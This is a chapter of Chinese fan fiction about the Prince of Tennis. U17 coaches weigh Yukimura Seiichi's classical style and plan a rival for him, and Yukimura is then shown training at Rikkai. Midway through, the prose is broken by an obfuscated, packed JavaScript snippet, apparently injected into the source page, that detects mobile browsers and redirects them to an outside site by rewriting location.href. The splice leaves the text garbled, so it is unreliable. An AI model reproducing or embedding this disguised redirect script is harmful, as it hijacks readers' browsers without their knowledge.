“啧,”他发出一声轻叹,“比去年夺冠时的录像,又进化了。个子也明显长了,看来不用担心他走入江的老路。” 他指的是入江奏多那曾因身高限制而一度挣扎的发球。 但紧接着,斋藤的眉头几不可查地皱了一下,“只是这技术框架……还是太精细、太古典。感觉像是自己摸索着在往更极致的方向雕琢,完全没有经过现代体系的打磨和校正。” 现代主流的网球更强调正反手的穿透力、在上升点击球的压迫感、极高的拍头速度和全场覆盖的体能。古典精细打法在力量和节奏的对抗中可能显得逊色, 但屏幕里的小少年,似乎完全不顾现代网球的趋势,而是一个劲得往古典网球的模子里钻。 “这正是问题所在。”黑部接过话头,语气里难得地透出一丝近似于无奈的情绪,“而且,他的心思,似乎有一大半不在继续雕琢自己身上。” 两人陷入了短暂的沉默,空气里似乎闪过某些共同的回忆画面。 去年一月,当幸村精市在ITF亚洲U14锦标赛夺冠的消息传回时,U17教练组内部确实泛起过一阵小小的涟漪。 虽然这类青少年赛事在公众层面毫无水花,但在他们这些终日搜寻明日之星的猎鹰眼中,任何一块闪光的璞玉都值得标记。 他们甚至打听到,有几所海外顶尖网球学院——包括某位大满贯得主旗下声望卓著的学校——已经向这位日本新科冠军抛出了橄榄枝,并且开出了相当有诚意的条件。 教练们私下里是乐观其成的:出去见见世面,接受更系统、更国际化的训练,打磨一两年,正好能以更成熟的姿态被纳入U17的体系,为下一次世界杯储备力量。 然后,两个月后,消息传来:幸村精市没有接受任何海外邀请,选择入学神奈川的立海大附属中学。 当时教练们的反应出奇一致:困惑,极大的困惑。他们并非不关注国内青训,正因如此,他们看过幸村在Jr大会上的表现,也清楚他与同龄人之间的实力断层。即使是那位备受瞩目的真田弦一郎,实力与幸村之间还是横亘着巨大的鸿沟。 一个已经触摸到亚洲同龄人巅峰的选手,选择回到一个显然无法提供足够对抗压力的环境里?这违背了竞技体育人才成长的基本逻辑。 除了极其少见的、纯粹享受碾压的快感,他们想不出别的解释。 为此,U17训练营内,某位“归隐山林”的总教练发了好大一通火。 若不是那个小少年确实年级尚小,身体甚至尚未开始发育,怕真的把人逮进训练营身体扛不住。恐怕某位姓三船的邋遢大叔,就打算启动强制征召流程,把这个没有目标没有追求的小鬼狠狠收拾一顿了。 总教练气得不再愿意关注国中生的恩怨情仇,但在接下来的一年,黑部由起夫出于职责和某种未熄灭的好奇,断续关注着立海大的动向。 传来的情报和零星比赛录像却让这份困惑加深了:倘若是单纯享受胜利带来的快乐,这位小天才应当选择让自己成为王牌,用一场场毫无疑义的胜利炫耀自己的本事。 但事实是:这位冠军在团队中扮演的角色越来越偏向“教练”乃至“指挥官”,全国大赛中甚至直接坐在教练席运筹帷幄。不仅本人低调,就连上场次数都少得可怜。 他将天赋与精力,明显倾注到了带领团队夺取全国冠军这件事上,而非专注于个人技术向着世界级水准的进一步突破。 “封刀入鞘,本来就是一种浪费。” 同样关注着幸村的斋藤至这样评价。 然而,此刻眼前这短短两段视频,又以一种蛮横的方式修正着他们的判断。 没有专业教练指导,沉浸在低水平对抗和团队事务中。一年过去,他非但没有停滞,反而在绝对力量、控制精度和身体发育上,取得了清晰可见的显著进步。 这种自我驱动、自我锤炼的能力,着实令人惊叹。 “说实话,日本人打球,古典也不是大问题。倒不如说跟不上现代网球的发展才是日本选手的常态。” 斋藤最终打破了沉默,目光仍停留在屏幕上幸村那张过于好看也过于平静的脸上,“鬼不也抱着他那把桑普拉斯传下来的球拍打到现在?关键是内核。这小子,内核够硬。在没有外力加压的情况下,还能自己把自己拧紧,推进到这一步……” 他摇了摇头,既是佩服,也是惋惜,“但太有责任心也不是好事,他那个团队,或许成为了他的动力,但也成了他的茧房。” 黑部由起夫关掉了视频,办公室重新被纸张和电子设备运行的声音填充。 他看向窗外,训练场上少年们奔跑呼喊的身影充满了原始的活力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013162|194148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “破茧需要外力,或者……足够锋利的另一把刀。” 斋藤至敏锐地捕捉到了他话中的意味,目光也随之投向窗外,嘴角慢慢弯起一个若有所思的弧度。他重新拿起那张“场地维护费”的报销单,这次没有再调侃,只是用手指轻轻弹了弹。 “看来,这笔维修费,倒像是给咱们提了个醒。”他低声说,更像是在自言自语,“或许……该让他经历一场计划外的风雨了。” “说起来,新来的那个小子最近怎么样了?” 斋藤几乎不需要任何思考就反应过来黑部指的是谁: 欧洲青少年精英训练营出身,十五岁,打法是纯粹的现代网球:底线暴力平击,上网果断,发球像炮轰。就连身体素质都是欧式标准,185公分,肌肉素质偏高,爆发力数据接近一军末位水平。 “真难为你一下就能给我们的小冠军挑选一个这么合适的对手,”斋藤轻笑,“这么说起来,你应该是蓄谋已久吧。” “不过,那小子挺嚣张的,平等院好像打算去会会他了。” “唔,那只能请平等院……稍安勿躁了。” ……. 几乎在同一时刻,神奈川,立海大附属中学网球部。 结束了一组高强度多球训练的幸村精市,正准备走向场边补充水分,却毫无预兆地、结结实实地打了一个喷嚏。 “精市?”正在不远处记录数据的柳莲二立刻抬头,常年微阖的眼睛睁开了一丝缝隙,关切地望过来,“是训练后着凉了吗?需要暂停一下吗?” 不远处正在练习发球的真田弦一郎也停下了动作,帽檐下的目光严肃地扫过幸村的脸庞:“如果身体不适,应立即休息!” “没事。”幸村揉了揉鼻尖,那股痒意来得突兀,散得也快。他朝两人安抚地笑了笑,“突然鼻子有点痒……大概是花粉。” 他低头拧开水壶,睫毛垂下的瞬间,眼底掠过一丝连自己都未完全觉察的微澜。 最近似乎总是这样——毫无来由的恍惚,或是这样突如其来的身体反应。 像有什么在看不见的地方,轻轻拨动了与他命运相连的某根丝线。 ……总不会是工藤新一又在念叨我吧? 幸村脑海中闪过这个念头,随即自己都觉得有些好笑。他仰头喝下一口微凉的电解质水,将那一瞬莫名的异样感干脆地咽了下去。 目光扫过球场:丸井和桑原在网前穿梭,仁王正半强迫地拖着柳生练习双打走位,切原对着发球机大呼小叫,三年级的前辈们带着新生练习基础…… 一切井然,一切稳固。立海大的铁律与荣光,如同他掌中球拍的纹路般清晰而不可动摇。 幸村轻轻呼出一口气,将水壶搁回长椅,重新握紧了球拍。 “继续吧。” 他转向柳与真田,脸上已恢复那副温和中带着不容置疑的沉静。 “今天的训练菜单,可还没有完成呢。”